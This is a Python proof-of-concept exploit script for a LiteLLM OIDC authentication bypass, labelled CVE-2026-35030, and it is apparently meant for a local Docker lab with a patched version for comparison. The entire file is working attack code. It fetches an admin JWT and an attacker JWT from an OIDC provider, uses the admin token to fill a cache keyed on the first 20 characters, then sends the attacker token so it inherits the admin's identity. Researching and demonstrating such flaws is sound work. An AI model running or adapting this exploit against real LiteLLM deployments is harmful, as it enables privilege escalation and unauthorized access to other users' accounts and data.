#!/usr/bin/env python3 """ CVE-2026-35030 — LiteLLM OIDC Userinfo Cache Key Collision Exploit Demonstrates authentication bypass by exploiting the weak cache key (token[:20]) in LiteLLM's OIDC userinfo cache. The attack: 1. Obtain an admin JWT from the OIDC provider 2. Send it to LiteLLM → triggers OIDC userinfo fetch → cached with key = token[:20] 3. Obtain an attacker JWT (different user) with same signing algorithm 4. The attacker JWT has the SAME first 20 characters → cache HIT 5. LiteLLM returns the admin's cached userinfo → privilege escalation Usage: # Default: demonstrate the collision (no actual exploit) python3 exploit.py --mode demo --target http://localhost:4000 # Full exploit: authenticate as admin using attacker's token python3 exploit.py --mode exploit --target http://localhost:4000 # Compare with fixed version python3 exploit.py --mode exploit --target http://localhost:4001 --fixed """ import argparse import json import sys import requests from token_forge import TokenCollider, analyze_token def get_oidc_base(target: str) -> str: """Derive the OIDC mock base URL from the LiteLLM target. When running locally, the OIDC mock is at localhost:8000. When running inside Docker, use the container name. """ return "http://localhost:8000" def demo_collision(oidc_url: str): """Step 1: Demonstrate that two different JWTs share the same prefix.""" print("=" * 70) print("CVE-2026-35030 — Cache Key Collision Demonstration") print("=" * 70) collider = TokenCollider(oidc_url) result = collider.get_two_tokens("admin", "attacker") print(f"\n[+] Admin JWT (subject=admin):") print(f" Token: {result['admin_token'][:60]}...") print(f" Prefix: '{result['admin_prefix']}'") print(f"\n[+] Attacker JWT (subject=attacker):") print(f" Token: {result['attacker_token'][:60]}...") print(f" Prefix: '{result['attacker_prefix']}'") if result["collision"]: print(f"\n[🔥] COLLISION: Both tokens share the same first 20 characters!") print(f" Reason: {result['collision_reason']}") print(f"\n In LiteLLM, both tokens will produce the SAME cache key:") print(f" cache_key = token[:20] = '{result['admin_prefix']}'") print(f" → The attacker's request retrieves the ADMIN's cached userinfo.") else: print(f"\n[-] No collision detected (unexpected with RS256 JWTs)") return False # Show decoded headers to prove they're identical admin_analysis = result["analysis"]["admin"] attacker_analysis = result["analysis"]["attacker"] print(f"\n[+] Decoded JWT headers (identical → same prefix):") print(f" Admin header: {json.dumps(admin_analysis['header'])}") print(f" Attacker header: {json.dumps(attacker_analysis['header'])}") print(f"\n[+] Decoded JWT payloads (different users):") print(f" Admin payload: sub={admin_analysis['payload'].get('sub')}, " f"groups={admin_analysis['payload'].get('groups')}") print(f" Attacker payload: sub={attacker_analysis['payload'].get('sub')}, " f"groups={attacker_analysis['payload'].get('groups')}") return True def test_litellm_health(target: str) -> bool: """Check if LiteLLM is reachable.""" try: resp = requests.get(f"{target.rstrip('/')}/health", timeout=10) # /health returns 401 without auth key, but server is reachable if resp.status_code in (200, 401): return True except requests.RequestException: pass try: resp = requests.get(target.rstrip("/"), timeout=10) return resp.status_code == 200 except requests.RequestException: return False def attempt_exploit(target: str, oidc_url: str, is_fixed: bool = False): """ Full exploit attempt: use the cache collision to escalate privileges. Steps: 1. Get admin JWT from OIDC provider 2. Send admin JWT to LiteLLM → triggers OIDC userinfo → cached 3. Get attacker JWT (different user, same first 20 chars) 4. Send attacker JWT → should hit the admin's cache entry 5. Verify: LiteLLM treats the attacker as admin """ tag = "FIXED" if is_fixed else "VULNERABLE" print(f"\n{'=' * 70}") print(f"[{tag}] Exploit Attempt — target: {target}") print(f"{'=' * 70}") if not test_litellm_health(target): print(f"[-] LiteLLM is not reachable at {target}") print("[-] Start the containers first: docker compose up -d") return False collider = TokenCollider(oidc_url) # Step 1: Get both tokens print("\n[*] Step 1: Obtaining JWTs from OIDC provider...") admin_data = collider.get_token("admin") attacker_data = collider.get_token("attacker") admin_token = admin_data["token"] attacker_token = attacker_data["token"] print(f" Admin JWT prefix: '{admin_token[:20]}'") print(f" Attacker JWT prefix: '{attacker_token[:20]}'") print(f" Prefix collision: {admin_token[:20] == attacker_token[:20]}") # Step 2: Send admin JWT to LiteLLM → populates cache print("\n[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...") admin_headers = { "Authorization": f"Bearer {admin_token}", "Content-Type": "application/json", } try: admin_resp = requests.get( f"{target.rstrip('/')}/user/info", headers=admin_headers, timeout=10, ) print(f" HTTP {admin_resp.status_code}") if admin_resp.status_code == 200: print(f" Response: {json.dumps(admin_resp.json(), indent=4)}") except requests.RequestException as e: print(f" Request failed: {e}") # Step 3: Send attacker JWT → should hit admin's cache entry print("\n[*] Step 3: Sending attacker JWT (cache collision attempt)...") attacker_headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json", } try: attacker_resp = requests.get( f"{target.rstrip('/')}/user/info", headers=attacker_headers, timeout=10, ) print(f" HTTP {attacker_resp.status_code}") if attacker_resp.status_code == 200: result = attacker_resp.json() print(f" Response: {json.dumps(result, indent=4)}") # Check if we got admin identity # The /user/info endpoint returns LiteLLM's user format, which uses # 'user_id' not 'sub'. The cache collision means the attacker's request # returns the admin's user info. user_id = result.get("user_id", "") sub = result.get("sub", "") if user_id == "admin" or sub == "admin" or "admin" in str(result.get("groups", [])): print(f"\n[🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity!") print(f" Attacker's token[:20] matched admin's cache key.") print(f" Response user_id='{user_id}' (expected 'admin' for escalation)") if is_fixed: print(" (Unexpected for fixed version — check config)") else: print(f"\n [+] Attacker identified as user_id='{user_id}'.") if is_fixed: print(" [+] Fixed version: cache collision prevented.") except requests.RequestException as e: print(f" Request failed: {e}") print() return True def main(): parser = argparse.ArgumentParser( description="CVE-2026-35030 — LiteLLM OIDC Cache Key Collision Exploit", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: # Demonstrate the cache key collision python3 exploit.py --mode demo # Full exploit against vulnerable instance python3 exploit.py --mode exploit -t http://localhost:4000 # Show that fixed version is not vulnerable python3 exploit.py --mode exploit -t http://localhost:4001 --fixed """, ) parser.add_argument("--mode", choices=["demo", "exploit"], default="demo", help="demo: show cache collision | exploit: attempt auth bypass") parser.add_argument("-t", "--target", default="http://localhost:4000", help="LiteLLM target URL") parser.add_argument("--oidc-url", default="http://localhost:8000", help="OIDC provider base URL") parser.add_argument("--fixed", action="store_true", help="Mark target as fixed (v1.83.0+)") args = parser.parse_args() if args.mode == "demo": success = demo_collision(args.oidc_url) if not success: sys.exit(1) print(f"\n{'=' * 70}") print("[*] To run the full exploit: python3 exploit.py --mode exploit") print(f"{'=' * 70}") else: attempt_exploit(args.target, args.oidc_url, is_fixed=args.fixed) if __name__ == "__main__": main()